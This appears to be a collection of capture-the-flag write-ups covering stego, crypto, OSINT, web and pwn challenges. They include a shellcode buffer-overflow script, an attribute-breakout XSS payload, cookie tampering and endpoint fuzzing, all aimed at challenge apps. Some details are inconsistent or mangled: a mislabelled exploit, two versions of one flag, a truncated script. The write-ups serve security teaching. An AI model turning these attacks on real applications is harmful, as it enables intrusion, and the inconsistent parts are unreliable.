The information is all filler
Location coordinates of the picture point to
Griffith Observatory : 34.1184° N, 118.3004° W
Rest of the text is white and revealed when selected
Time: 12:47 + 3mins+ 1 sec 12:50:01
Piece together final flag from “VITAL DATA”
Flag
1
CYS{341184_125001_6B011D}
Flag
CYS{341184_125001_6B011D} Challenge Name - EXIF ECHOES
Challenge Name - EXIF ECHOES
- Category: [Forensics/OSint]
- Author: [ram]
Challenge Description
[This m0ment is more than it appears. Its very properties are… peculiar. Only by understanding its deepest whispers can you unlock the path.]
Solution
Initial Analysis
[As the challenge title suggests “EXIF,” the first step is to run exiftool on the image. This would reveal two unusual timestamps. The “echoes” hint at a combination of these two values.]
Tools Used
- [exiftool]
- [timestamp->epoch unix ( https://www.epochconverter.com/ ) ]
- [ Hexadecimal XOR calculator (e.g., [https://xor.pw/] ]
- [stegseek]
Step-by-Step Solution
Step 1: [Discover and Convert Timestamps]
1
[exiftool m0ment.jpg]
[they scan exiftool, encounter a fake flag , which is a pastebin link which gives them sime vague hint ( btw bonus flag hidden as the authorname )(pastebin.com/r3LnLw4G ) ]
Step 2: [Generate the Passphrase via XOR]
1
2
3
4
[# No command, but use a hex XOR calculator
# Input 1 (hex): 1681140600
# Input 2 (hex): 1727203620
# Output (hex): 1a6343020]
[This step accomplishes the core trick of the challenge. By treating the two epoch values as hexadecimal numbers and XORing them, we generate the final passphrase (1a6343020) needed for extraction.]
Step 3: [Extract the Hidden File , and hence the flag]
1
2
3
echo "1a6343020" > pass.txt
stegseek m0ment.jpg pass.txt
cat m0ment.jpg.out
[This command uses stegseek to rapidly test our generated password (1a6343020) against the image. stegseek confirms the password is correct and extracts the hidden file, saving it as m0ment.jpg.out.]
Flags
1
2
CYS{b0nus_fl1g_686}
CYS{T1m3_Fr4gm3nt5_R3v34l_Th3_P4th}
Flag
CYS{T1m3_Fr4gm3nt5_R3v34l_Th3_P4th} Sneaky Notes
Sneaky Notes
- Category: [Web]
- Author: [Akshitha]
Challenge Description
Some notes were left behind, look deeper and you will find what is yours.
Solution
Initial Analysis
Look at easy potential web exploits to use
Tools Used
- Python
- Flask
Step-by-Step Solution
Step 1: Login page
Step 2: Inspect and get credentials
Step 3 :XSS payload in notes page to get flag
#### Step 4: Flag found
Flag
1
CYS{sneaky_notes_xss}
Flag
CYS{sneaky_notes_xss} EON GATE
Sneaky Notes
- Category: [Web]
- Author: [Akshitha]
Challenge Description
Why wont the gate open?
Solution
Initial Analysis
The riddle and its relation with the given blocks.
Tools Used
- Pyhton
- Flask
Step-by-Step Solution
Step 1: Read the riddle
Step 2: Rearrange the words
Step 3 :Submit and get the flag
Flag
1
CYS{EON_REALIGNED}
Flag
CYS{EON_REALIGNED} Mirror Shatter
- Category: Web
- Author: Kirubahari
Challenge Description
The Challenge is about web enumeration and find the hidden endpoints and parameters to get the flag
Solution
Initial Analysis
What I did first - enumeration, bruteforcing for endpoints
Tools Used
- ffuf
- base64
- python
Step-by-Step Solution
Step 1: Finding the endpoint
1
ffuf -u "http://$IP:$PORT/FUZZ" -w WORDLIST --ic
It gives the hidden endpoint
Step 2: Fidning the parameter
1
ffuf -u "http://$IP:$PORT/mirror?FUZZ=true" -w WORDLIST --ic -fs int(x)
Which gievs the hiddenendpoint which downlaods the zip file which has the encoded flag
Step 3: Decoing
1
cat flag.txt | base64 -d
which gives the decoded dna encoded text decoding gives the flag
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys
MAP = {
'A': '00',
'C': '01',
'G': '10',
'T': '11'
}
def dna_to_bytes(dna: str) -> bytes:
dna = ''.join(dna.split())
if len(dna) % 4 != 0:
raise ValueError("DNA length not multiple of 4 (each byte = 4 nucleotides).")
bits = ''.join(MAP[nuc] for nuc in dna)
out = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
return out
def main():
if len(sys.argv) == 2 and sys.argv[1] != '-':
s = open(sys.argv[1], 'r').read()
else:
s = sys.stdin.read()
try:
b = dna_to_bytes(s)
print(b.decode('utf-8'))
except Exception as e:
print("Decoding failed:", e, file=sys.stderr)
try:
b = dna_to_bytes(s.strip())
import binascii
print("HEX:", binascii.hexlify(b).decode())
except:
pass
sys.exit(1)
if __name__ == '__main__':
main()
Flag
1
CYS{B43aking_th3_m1rr0r_1$_c00l}
Flag
CYS{B43aking_th3_m1rr0r_1$_c00l} Echoes in the Hourglass
- Author: Vishal V
Challenge Description An hourglass image from the Citadel’s archives hides the encryption key to twelve lost timeline fragments (timeline_grain_*.bin). Each fragment carries a piece of the Citadel’s final chronicle. Recover the cipher key, decrypt all fragments, and rebuild the temporal log to restore the flow of time — and uncover the last message trapped within.
Solution
Solution Summary (Internal Dev Notes):
1.Extract stego data → recover cipher_key.bin. 2.Decrypt fragments using the provided XOR script. 3.Decrypt the timestamp log via openssl aes-256-cbc. 4.Reassemble the decrypted fragments in chronological order. 5.The flag appears in one fragment: timeline_grain_autd.txt.
Initial Analysis I listed the archive contents, inspected the image for hidden data, and examined the provided scripts. The image looked like a likely steganography container and the repository included a small XOR script (scripts/temporal_cipher.py) which suggested an XOR-based encryption of the fragments. There was also a timestamp_log.enc that was encrypted using openssl. A Hint.txt was also present having some necessary passwords which where md5 hashed.
Tools Used • steghide (to inspect/extract data from the image) • python3 (to run scripts/temporal_cipher.py) • Online md5 decrypting tools
Step-by-Step Solution
Step 1: Unpack and inspect unzip citadel_memory_dump.zip ls -lah file hourglass_of_time.jpg steghide info hourglass_of_time.jpg I confirmed the hourglass_of_time.jpg contains embedded data(cipher_key.bin) with steghide info. The passkey(echoes) for steghide was hidden in the hint.txt which could be broken using online md5 decrypting tools.
Step 2: Extract the cipher key from the image steghide extract -sf hourglass_of_time.jpg -p echoes -xf cipher_key.bin Using the steghide password (echoes), I extracted cipher_key.bin. This key is required to XOR-decrypt the timeline grains.
Step 3: Decrypt one fragment (smoke test) chmod +x scripts/temporal_cipher.py ./scripts/temporal_cipher.py timeline_grain_ [email protected] cipher_key.bin grain_ [email protected] This validated the key and script: the output showed readable part of the temporal log. Step 4: Decrypt all fragments for b in *.bin; do ./scripts/temporal_cipher.py “$b” cipher_key.bin “${b%.bin}.txt” done Each fragment decrypted into a .txt file.
Step 5: Decrypt the timestamp_log.enc file timestamp_log.enc output: timestamp_log.enc: openssl enc’d data with salted password This makes it clear that the file was encrypted using openssl. The password can be taken from hint.txt. The most common encryption in openssl is aes-256 hence try decrypting by that: openssl enc -aes-256-cbc -pbkdf2 -salt -in timestamp_log.txt -out timestamp_log.enc -pass pass:password Decrypted file stored as timestamp_log.txt
Step 6: Reconstruct the full log With reference to timestamp_log.txt reconstruct each file fragment. Concatenating the decrypted fragments in timestamp order reconstructed the original temporal log.
Step 7: Extract the flag The flag is present in the final temporal log. Note: the flag is present in only one of the file fragments: timeline_grain_autd.txt, so instead of concatenating based on timestamp_log.txt the player may individually open all the 12 files to find the flag. Either way this makes this challenge time consuming. There are also 2 decoy files that are present only to confuse the player: corrupted_grain_xx.bin,memory_alpha.txt.
Flag: FLAG{HOURGLASS_RECOVERED}
Flag
FLAG{HOURGLASS_RECOVERED} Temporal Freeze Upgrade
Temporal Freeze Upgrade
Objective
Solve the mirror puzzle to decrypt the flag: cys{T1M3_SYNC}
Step 1: Understand the Mirrors
You have 4 mirrors to select in the correct order:
- Mirror 0 (◈) - 0x00
- Mirror 1 (◉) - 0x01
- Mirror 2 (◊) - 0x02
- Mirror 3 (◆) - 0x03
Step 2: Find the Pattern
Look at the QUANTUM_STATE_DECAY values:
- Mirror 0: Decay = 5
- Mirror 1: Decay = 8
- Mirror 2: Decay = 3
- Mirror 3: Decay = 6
Key Insight: Order mirrors by lowest to highest dec ay value.
Step 3: Correct Sequence
Click mirrors in this order:
- Mirror 2 (◊) - Decay 3
- Mirror 0 (◈) - Decay 5
- Mirror 3 (◆) - Decay 6
- Mirror 1 (◉) - Decay 8
Step 4: Get the Encrypted Flag
When solved correctly, you’ll see:
1
DECRYPTION_KEY: [encrypted characters]
Copy this encrypted string.
Step 5: Decrypt the Flag
Open Browser Console (F12) and paste:
1
2
3
4
5
6
7
8
9
10
11
12
13
const encryptedFlag = "[PASTE_YOUR_ENCRYPTED_KEY_HERE]";
for (let offset = 1; offset <= 50; offset++) {
let decrypted = '';
for (let i = 0; i < encryptedFlag.length; i++) {
decrypted += String.fromCharCode(encryptedFlag.charCodeAt(i) - offset);
}
if (decrypted.startsWith('cys{')) {
console.log('Flag: ' + decrypted);
break;
}
}
Step 6: Submit Flag
The decrypted flag will appear in console:
1
cys{T1M3_SYNC}
Tips
- Use ANALYZE button for hints if stuck
- Watch TEMPORAL_ALIGNMENT section as you select
- The decay values are the key to solving it
- Wrong sequence resets after 3 seconds
- Each solve generates a unique encrypted flag
Quick Reference
| Position | Mirror | Symbol | Decay | |———-|——–|——–|——-| | 1st | 2 | ◊ | 3 | | 2nd | 0 | ◈ | 5 | | 3rd | 3 | ◆ | 6 | | 4th | 1 | ◉ | 8 |
Flag
cys{T1M3_SYNC} Lyra's Photos
Lyra’s Photos
- Category: Forensics
- Author: Aadhyanth
Challenge Description
Hark, seeker of secrets! Before thee lies not cold stone, but the scattered remnants of a life lived, perhaps loved, perhaps lost. Six timeworn likenesses, captured by the enigmatic Lyra, lay strewn upon the dusty floor of this forgotten chamber. They say Lyra possessed the sight, able to bind not just light, but feeling, into her creations.
Each portrait – a frozen moment of joy, sorrow, anger, fear, surprise, or contemplation – pulses with a faint, spectral energy. Within the very weave of these images, Lyra concealed fragments of a greater truth, echoes of the heart bound to the canvas.
Thy task, should thou possess the keen eye and sharper wit, is to delve into the hidden layers of each depiction. Uncover the six fragments of data, each resonating with the soul of the emotion it guards. Only by piecing together these spectral whispers can the full secret be unveiled. Tread carefully, for memories, like ghosts, oft cling tightly to their resting place.
Solution
This challenge consists of 6 separate image files. Each image contains one part of the flag, hidden at a random location.
Extraction hints (for stegsolve):
- image_1_red.png: Channels -> Red ; Bitplanes -> 0
- image_2_yellow.png: Channels -> Green ; Bitplanes -> 0
- image_3_green.png: Channels -> Blue ; Bitplanes -> 0
- image_4_blue.png: Channels -> Red ; Bitplanes -> 4
- image_5_black.png: Channels -> Green ; Bitplanes -> 4
- image_6_white.png: Channels -> Blue ; Bitplanes -> 4
Alternatively, using a random colormap usually works for all 6 images
Parts: Part 1: “CYS{f” Part 2: “1v35” Part 3: “3n535” Part 4: “_s1x” Part 5: “3m0t1” Part 6: “0n5}”
Tools Used
- Stegsolve
Step-by-Step Solution
Step 1:
1
java -jar Stegsolve.jar
Opens stegsolve
Step 2:
Use the arrows to find the correct setting
Flag
1
CYS{f1v3_53n535_s1x_3m0t10n5}
Flag
CYS{f1v3_53n535_s1x_3m0t10n5} PARADOX GATE GAURDIAN
PARADOX GATE GAURDIAN
- Category: [Crypto]
- Author: [Anandhita Akhileshwaran(Ariza/anu akhil)]
Challenge Description
The “Paradox Gate Guardian” challenge combined steganography and RSA cryptography. Players had to extract a hidden Pastebin link from an image through multiple layers of encoding and then recover the flag from a weak RSA encryption setup. Solution:
Initial Analysis
The image contained a hidden string, which was not human-readable. Using an online steganography tool (Edchart) revealed the string inside the image. The string appeared to be multi-layer encoded (Base32 → Base58 → Base64), which indicated that several decoding steps were needed to get the actual Pastebin link.
Tools Used
- Edchart – for extracting hidden string from image(Steganography)
- Online Base32/Base58/Base64 converters – for decoding each layer
- Python (online compiler) – for decrypting the RSA message
Step-by-Step Solution
Step 1: Extract hidden string from image
Used Edchart online tool to decode hidden string from gate_stego.png hidden_string = extract_from_image(“gate_stego.png”) # done online The extracted string was in Base32, revealing another encoded string after decoding.
Step 2: Decode successive layers to get Pastebin link
Base32 → Base58 → Base64, all using online converters hidden_base32 = decode_base32(hidden_string) # online tool hidden_base58 = decode_base58(hidden_base32) # online tool pastebin_link_bytes = decode_base64(hidden_base58) # online tool pastebin_link = pastebin_link_bytes.decode() print(pastebin_link) After decoding, the Pastebin link appeared: https://pastebin.com/WrmVZ5Dh
This Pastebin contained the public.txt file with the RSA parameters:
- challenge: Paradox gate gaurdian
- note: Two gates encrypt the same message. Recover the flag.
- n1 = 15033578721439194988387179123854233894267575851240227576895496309506779750811590181996000973958811554416086988499492871175810679952478996274497198120963437989391636776502564411733778651880050934455369891966390586105142302383763131276917257610586999218429760875606433602994834838769089475278168103214389863284197728391195033697151334759565568924671759303271692600650009783080454557955626253866173440609692903558021152495564623502947058911525245202105707967579681530057950438396498842868456213925367642445573908267262206078459611761317395331888167006784457049353131120218969698496710227657739733468945914312493706698413
- n2 = 16994203338805397319400272058724146051502286151707007457101473255345953782170696536631265860021364475381819700444652919177539962950188092468598324885891882673731931581635415757055762743880126185343173816349139258908988088539519778409328371684839124913307562496045782999069227820366923748378092435370991558505739627586598732619112281521624236544378255527298348829479184612892706572963496922151338558476196809568338515399774528241198625809347603007190842549728974057953253554368551262921187839455170370165407169059886861059987495953267026039920025021152304913810807950398619398857701291727584481688042625083522549008367
- e = 65537
- c1 = 13359592783646666829124790216940920600108500335065136879423044095415962773244362668029844057063039053334386493742236153067934817228155212597146941588684123958884529086497398545650534506756212950456793154677111988173725366510534477388750863477728159418089135584136696512663516920841636352796735706734976668573001643435302538446161441508036338843236636456593111870038926248726639580335090513080916216378021236432485331721569623895390309355945576242090957647984587151208534535113112782983715119031375384841320157827177252620161003120386128309678359212762486965447628253829072242579655033891210972578584241367112075733422
- c2 = 14894363247019487835828355276465975866394899053117215785498335536076946429595510278243964416072837958824125854177698119068383498399350861277724922394422808992575888021137547426446478873603858083070094375486944492274127707059533273947707574615998776561977754206041031600695914710691752488594429809822626171728562271904217925687390029259147146667052337759099154641812430003020041060691800682850742498055579821126286418498116970776515025226838153691877013893184632680088496097144260482894116776541453917344794158788235304567868269675115656351298895842895028198495523839679949384177266537019541693949055511457364024881337
Step 3: Analyze RSA encryption
from math import gcd
Step 3a: Find shared prime
p = gcd(n1, n2)
Step 3b: Compute corresponding q1
q1 = n1 // p
Step 3c: Compute private key
phi1 = (p - 1) * (q1 - 1) d1 = pow(e, -1, phi1)
Step 3d: Decrypt ciphertext c1
m = pow(c1, d1, n1)
Step 3e: Convert integer message to bytes
msg = m.to_bytes((m.bit_length() + 7) // 8, ‘big’) print(msg.decode())
Explanation: The RSA was vulnerable because n1 and n2 shared a common prime factor p. Using gcd(n1, n2) revealed p. Once p was known, we computed q1 = n1 // p and the private exponent d1. Decrypting c1 gave the flag. Note: c2 exists but was not needed to recover the flag. It could be decrypted using q2 = n2 // p as a verification step, but c1 alone suffices. ______________
Flag
CYS{4CC3556RAN73D} _______________
Flag
CYS{4CC355_6RAN73D} Where do u came from
Where do u came from
Category: Pwn
Author: Kirubahari
Challenge Description
Ret2libc attack
Solution
Steps
Finding the right offset using dbg in cyclic mode which gives the correct offset
The return address is given the binary itself.
Combining that both helps in exploiting
Tools Used
gdb
python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#! /usr/bin/python3
from pwn import *
elf = remote(“IP“,port)
io = process()
io.recvuntil(": ")
addr = int(io.recv(14), 16)
shellcode = asm(shellcraft.cat("flag.txt"))
payload = shellcode + cyclic(136 - len(shellcode)) + p64(addr)
io.sendline(payload)
io.interactive()
Flag
1
2
3
FLAG{ret2libc}
Flag
Dynamic Flag Symphony of Loops
Symphony of Loops
- Category: Musical Cipher
- Author: Aadhyanth
Challenge Description
The Bard’s Enigma: Symphony of Loops
Attend, O seeker of hidden verse! Before thee resonates a spectral melody, an artifact known only as the “Symphony of Loops.” Legend tells of a mad court composer, Elmsworth, who claimed to have transcribed the very song of the Aether – a haunting refrain caught in an endless, maddening cycle.
Dismissed as a lunatic, Elmsworth vanished, leaving behind only this enchanted score, captured not on parchment, but within this peculiar digital phial (a MIDI file, they call it in lesser realms). It is said that Elmsworth encoded his final, defiant truth within the music itself, believing only a mind attuned to both harmony and cipher could unravel it.
Listen closely to the repeating bars. Observe the dance of the notes upon the unseen staff. Within this loop, each key press, each rise and fall in tone, is no mere sound – it is a symbol, a letter in a forgotten alphabet where music itself forms the words.
Thy task is to break the cycle, to listen beyond the melody and perceive the message woven into its very structure. Decipher the notes, translate their hidden meaning, and reveal the secret Elmsworth entrusted to his looping symphony. But take heed – madness oft lies within such endless refrains.
Make sure to wrap thy message in CYS{…}
Tools Used
- MIDI file viewer
- A notebook and pen
Step-by-Step Solution
Step 1:
Open the .mid file with any midi file viewer (ex. https://signalmidi.app/edit)
Step 2:
Note down the sequence of piano keys from the viewer in the correct order D#6, D#4, D7, C#4, F#6, B7, G#5, C#7, A#6, E4, F#6, C7, B7, F6, C#4, G#5, G#5, C#4, D#4, B7, B5, E4, F6, D#4 is the obtained sequence
Step 3:
The keys are numbered from a transpose of the standard MIDI indexing system. Instead of assigning the value of 60 to C4, the value of 0 has been assigned to C0. (This is apparent from the repeating B7 keys, which can be inferred to be underscores) The number of each key represents an ASCII value.
Flag
1
CYS{K3V1N_DUR4NT_M1DD13_G4M3}
Flag
CYS{K3V1N_DUR4NT_M1DD13_G4M3} Ashes of Memory
Ashes of Memory
- Category: [Forensics]
- Author: [ace6002]
- Level: [Easy]
Challenge Description
Image stegseek reveals binary, decoding binary gives flag.
Solution
Tools Used
- [Stegseek]
- [Python to group binary by 7 bits and decode]
Step-by-Step Solution
Step 1: StegSeek on given JPG
1
stegseek image.jpg -wl rockyou.txt
[Reveals hidden fl.txt containing flag. Passphrase for stegseek is ‘cyberpunk’.]
Step 2: Use python code to group binary bits by 7 and convert to ASCII.
1
2
3
binary_input = input("Enter 7-bit binary (no spaces): ")
text = ''.join(chr(int(binary_input[i:i+7], 2)) for i in range(0, len(binary_input), 7))
print(text)
[Converts binary into required flag.]
Flag
1
CYS{7h3RE_15_N0_E4D}
Flag
CYS{7h3RE_15_N0_E4D} Lost Core Pulse
Lost Core Pulse
- Category: Crypto
- Author: Varsaa H
Challenge Description
The Eon city’s memory pulse went missing in a turbulent transmission. What remains in cipher.txt is cloaked with layers recognizable only to cryptographers—and those attentive to the patterns of Eon’s lost pulse.
Hint: Sometimes, signals are wrapped not once but twice.
Solution
Initial Analysis
- Downloaded and inspected the file
cipher.txt. - The content was a long string of what looked like hexadecimal characters.
Tools Used
- Python (hex and base64 decoding)
- CyberChef (for alternate handy decoding)
- Any text editor
Step-by-Step Solution
Step 1: Hex Decode the cipher.txt
with open(‘cipher.txt’) as f: data = bytes.fromhex(f.read()) print(data)
This produced a result that looked like base64: b’Q1lTezNiYjEyZGF9b3N0cHVsc2VFOTFiZTJkZTFkZjQ=’
Step 2: Base64 Decode the Result
import base64 flag = base64.b64decode(data).decode() print(flag)
text Output: CYS{3bb12d_lostpulse_91be2d}
This is the flag, revealed from the two encoding layers.
Flag
CYS{3bb12d_lostpulse_91be2d}
Flag
CYS{3bb12d_lostpulse_91be2d} Spectogram Shadows
Spectogram Shadows
Category: Forensics Author: Suraj Kumar
Challenge Description
A wav audio file contains a hidden, encrypted flag visible in the spectrogram. The flag in the spectrogram was encrypted with the vigenere cipher. The key for the cipher is stored at the end of the file’s hex data. Several dummy encoded flags are present in WAV comment metadata (they are red herrings).
Solution
Initial Analysis
- Open the WAV file and inspect metadata and appended data. The spectrogram shows a message (the encrypted flag) so the flag text is present in the audio itself (as visual data). The ciphertext visible in the spectrogram looks like ASCII when transcribed.
- The key is appended at the end of the WAV file (in the file’s hex). The hint “vigenere” is encoded in rot13 base32 base64 base64” and added in audios metadata Title
Tools Used
Step-by-step Solution
Step 1 _Find Key
Key is at the end of hex of the audio(“secretkey”)
Step 2: See Spectograph
See audio spectography to find the vigenere encoded flag(ucu{e9sh22_owmg7w})
Step 3 — Find flag using the discovered key to decode the cipher
Giving the key will decode and return the original flag
Flag
``` cys{N9OO22_ESOO7S}
Flag
cys{N9OO22_ESOO7S} POEM OF HIDDEN LIES
POEM OF HIDDEN LIES
- Category: OSInt/Forensics/Text
- Author: S S Kishore Kumar
Challenge Description
Govindaraja a budding entreprenuer has writte a poem , Find clues from his poem, unravel his life and his hidden secrets and finally capture THE FLAG!!
Solution
Initial Analysis
The diary entry leads to github and with further analysis leads to the flag.
Tools Used
- Steghide
- Google.com
- Google Drive
- Base 64 encoder/decoder
- Github
Step-by-Step Solution
Step 1: [Find the github account] Upon analysing the file you find out the github handle Govindaraja-GopalaKrishna-Ricky and the Public-Talk rep . (All these names are in the initial challenge file but hidden)
Step 2: [Read the readme.md file]
After reading the readme file you find out a password “IAuditYou” and the word “Base64” in it. Which are crucial for next steps.
Step 3: [Finding the correct file]
There are multiple files in the rep , among which only one leads to the next step . Which is “RmluYWxUcmFjZQ==.zip” and RmluYWxUcmFjZQ== can be decoded to FinalTrace (Event name) using a base64 decoder.
Step 4: [Analyze the file]
The zip file is password protected with “IAuditYou” and there are 5 images name 1,2,3,4,5.jpg among which img 3 has a hidden text file embedded. (3 can be chosen easily as if you inspect challenge file closely the verses are 3.3,3.33,3.333)
Step 5: [Find the text file in 3.jpg]
Using steghide and the passphrase same as before “IAuditYou” you get a second.txt file hidden in it.
Step 6: [Analyze second.txt]
The text file leads to a google drive link with a zip file of 3 images and a text file. The password for this is “QuantumLeap Inc.”. As second.txt says “However successful you become in life don’t forget where you came from.”. Which points to the challenge file which has the password.
Step 7: [Analyze readme2.txt]
readme2.txt says about the flag which is that “there is three images below out of these 3 , find the most liked one and see when they have created their youtube/instagram/twitter (oldest one)
CYS{month_year}
Step 7: [Find the flag]
Among those images the egg is the most liked picture . And the insta account was created on 19th January
Flag
CYS{january_2019}
Flag
CYS{january_2019} Mirror of Minutes
Mirror of Minutes
Quick Start
Step 1: Open Developer Console
- Press F12 on your keyboard
- Click on the Console tab
Step 2: Execute the Exploit
Copy and paste this into the console:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Inject XSS payload into the reflection data
reflections.push({
timestamp: Date.now(),
id: "exploit",
mirror: `survivor" onclick="window.networkUtils.unlockMirror()`,
text: "payload triggered",
contact: "attacker@void"
});
// Re-render to inject the XSS
renderObservations();
// Click the injected element to trigger XSS
document.querySelector('[data-mirror]').click();
// Verify and get flag
verifyLucidity();
// Display flag
alert(document.getElementById('flagContent').textContent);
Step 3: Get the Flag
The flag will appear: cys{m1rr0r_p4ss}
How It Works
The Vulnerability
The data-mirror attribute is not escaped:
1
2
3
// Vulnerable code in renderObservations():
`<div data-mirror="${mirrorAttr}" ...>`
// mirrorAttr is never HTML-escaped!
The Exploit Chain
- Inject malicious mirror value - Break out of the data attribute with
" - Add onclick event -
onclick="window.networkUtils.unlockMirror()" - Re-render observations - Call
renderObservations()to insert the XSS - Trigger the event - Click on the observation item
- Unlock the flag - The XSS calls
unlockMirror()which setsisLucid = true - Verify and display - Call
verifyLucidity()to show the flag
Why This Works
1
2
3
4
5
6
Injected HTML:
<div data-mirror="survivor" onclick="window.networkUtils.unlockMirror()">
...
</div>
When clicked → onclick fires → unlockMirror() executes → isLucid = true
The Flag
1
cys{m1rr0r_p4ss}
Key Concepts
| Concept | Explanation |
|---|---|
| XSS | Injecting JavaScript code through user input |
| Unescaped Attribute | HTML special characters not converted to entities |
| DOM Injection | Modifying page elements dynamically |
| Event Triggers | Using click/load events to execute code |
| Hidden Functions | Discovering unexposed functions via inspection |
Flag
cys{m1rr0r_p4ss} Feed It the Fracture
Challenge Name
Feed It the Fracture
- Category: Forensics (E)
- Author: Vignesh K S
Challenge Description
An audio file contains a hidden passcode. Once you unlock the vault, you’ll find a series of clues — morse code, ASCII, Base64 — leading to the final flag.
Solution
Initial Analysis
Started by listening to the audio file. The dialogue hinted at a number sequence. There was also a password-protected zip file named vault.zip.
Tools Used
- Morse Code Decoder
- ASCII to Text Converter
- Base64 Decoder
- Rentry.org
Step-by-Step Solution
Step 1: Decode the Passcode from Audio
1
2
The conversation hinted at the pincode 600127.
Removed the zeroes → got 6127.
Used 6127 to unlock vault.zip.
Step 2: Solve the Morse Code
1
2
Found a morse code file inside the zip.
Decoded it to get a string.
Step 3: Decode ASCII in the URL
1
2
Converted ASCII values to text.
Revealed a Base64 string.
Step 4: Decode Base64
1
Decoded the Base64 string to get a URL.
Step 5: Visit the URL
1
2
Opened the URL on rentry.org.
Found the final flag.
Flag
1
CYS{INH4RM0N1C_DO0R_UNL0CK3D}
Flag
CYS{INH4RM0N1C_DO0R_UNL0CK3D} Phantom Fingerprints
##
- Category: [Forensics]
- Author: [Htarizzs]
Challenge Description
[Use the provided netcat service and query logs to identify and analyze the activity of a phantom user whose fingerprints appear in the device logs, but who does not correspond to any registered account. Find and submit their session’s flag.]
Solution
Initial Analysis
- Reconnaissance Begin by connecting to the provided netcat service (e.g.,
nc challenge.host 1337). Review the welcome message, available commands (usually presented with a help command), and the structure of returned data. - Information Gathering Use commands like show logs, query user
, query fingerprint , etc., to get an inventory of normal and phantom records, paying attention to any IDs, timestamps, or unusual entries.
Tools Used
- [netcat (nc)]
- [python3 (py)]
Step-by-Step Solution
Step 1: [Connect & Explore]
1
2
3
nc localhost 1337
help
show logs
[The terminal is bought up, which will only work with specific commands which are specified in help.]
Step 2: [Find the phantom user]
1
2
query user 0x9999
query fingerprint fp9999
[Phantom(Unknown) user is found out, and try inspecting their fingerprint to get the flag in base64 format]
Step 3: [Decode the base64 string]
Decoding the base64 string obtained will give the flag
Flag
1
CYS{ph4n7om_v3n0m}
Flag
CYS{ph4n7om_v3n0m} To Hehe with Lyra's Echoes
Basically you’re treated with the link.
https://echositee.vercel.app/
If you open the site, it’ll lead you to the login page where you’ll be asked for a username and the password. But don’t you worry because if you open
Inspect -> JavaScript segment of the code
You’ll see username = lyra Password = Base16 version of $#1n0332
Decode it and then enter the site The site is broken with not visible images.
From there, get the steg image (the third image in the site)

- Also if you press it, you may see a flag like thing, don’t worry it’s a RED herring.
Then if you get echoes.jpg and do
steghide extract -sf echoes.jpg
And then for the passphrase, put $#1n0332 because I have already given in the description that her passwords became the same everywhere, so putting it leads you to get a Drive link
If you open the Drive Link, you’ll be rewarded with a PDF.
If you open the PDF, you can see that some texts are redacted. But no issues because if you copy all the texts and put in a notepad.
As you can see after this process, everything makes sense until in the end, there is random gibberish
If you look closely, it’s the last part of a pastebin URL.
If you put it along with the full pastebin URL, you’ll be rewarded with DOT cipher
Put it in thins link, https://www.dcode.fr/pollux-cipher
When decoded gives the full actual FLAG! CYS{HERACTUALECHOES}
Flag
CYS{HERACTUALECHOES} Shattered Glass Logs
Shattered Glass Logs
- Category: [Forensics]
- Author: [Htarizzs]
Challenge Description
[Find the flag by reconstructing the hidden message scattered across multiple fragmented and tampered system logs.]
Solution
Initial Analysis
- Reconnaissance Upon receiving several
.logfiles, started with a manual inspection using cat and less to preview their contents and overall event structures. - Metadata & Consistency Check Examined timestamps, event flows, and error messages for clues about which log fragments could be authentic versus tampered.
- Keyword/Pattern Search Used
grepto extract all unique data fragments and looked for recurring suspicious patterns—like out-of-place error codes or data that did not match the rest of the logs.
Tools Used
- [grep]
- [neovim]
- [online vignere cypher/decypher tool]
Step-by-Step Solution
Step 1: [List and Inspect Log files]
[There are 5 log files, go through them]
Step 2: [Look for Curly braces]
[Look for logs containing the curly braces, as it is unusual for a log and most prolly a flag]
Step 3: [Search for any word that is out of place]
[As the found flag is encrypted using Vignere cypher, it requires an extra key, hence this word is prolly that! Here, it is cyscom]
Flag
1
CYS{gl4ss_un5h4tt3rd}
Flag
CYS{gl4ss_un5h4tt3rd} The Infinite Gate
The Infinite Gate
- Category: Web
- Author: Aadhyanth
Challenge Description
Hark, seeker of the Inner Sanctum! Before thee looms the Infinite Gate, an edifice not wrought by mortal hands, but sung into existence from the very stone of eternity. Its Guardian, ancient beyond reckoning, permits none to pass save those deemed worthy. Upon presenting thy claim, a fragment of thy very essence - thy digital soul-print, if you will - is etched by the Gate’s magic. This token, unseen yet potent, marks thee as either Guest or… something more.
The mechanism of this ward is steeped in the forgotten lore of Elara the Astromancer. She who mapped the celestial curves believed that identity itself could be represented, measured, perhaps even… altered. It is said the Gate judges not the strength of thy arm nor the purity of thy heart, but the subtle quality of the essence-token it bestows upon thee.
The Guardian speaks true: a pass is merely a token. Can such a thing, once given, be reshaped by mortal will? Can simple wit suffice where might fails? Approach the Gate, receive thy mark, and discover if thou possess the wit to bend its ancient, rigid judgment to thy purpose. The Inner Sanctum awaits only those who can prove their essence is more than what the Gate initially perceives.
Tools Used
- Devtools
- Python
Step-by-Step Solution
Step 1:
Open devtools (F12) view cookies under the Application tab and log in with any username and password
Step 2:
Alter the UserCunning cookie from false to true and move to the next page
Step 3: [Step Title]
Copy the given json file and decrypt using Elliptic-Curve Cryptography
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import json
def solve_challenge():
"""
Loads challenge.json, solves the ECC challenge, and prints the flag.
"""
print("Loading challenge.json...")
try:
with open('challenge.json', 'r') as f:
data = json.load(f)
except FileNotFoundError:
print("Error: challenge.json not found in the same directory.")
return
except json.JSONDecodeError:
print("Error: Could not decode challenge.json.")
return
p = data["p"]
a = data["a"]
b = data["b"]
xs_hex = data["xs_hex"]
flag_bits_len = data["flag_bits_len"]
# The p % 8 check is no longer relevant
# if p % 8 != 5:
# print(f"Warning: Prime p % 8 is not 5 (it's {p % 8}).")
# print("The mod_sqrt function may not be optimal, but let's proceed.")
print(f"Loaded curve parameters and {len(xs_hex)} x-coordinates.")
bit_string = ""
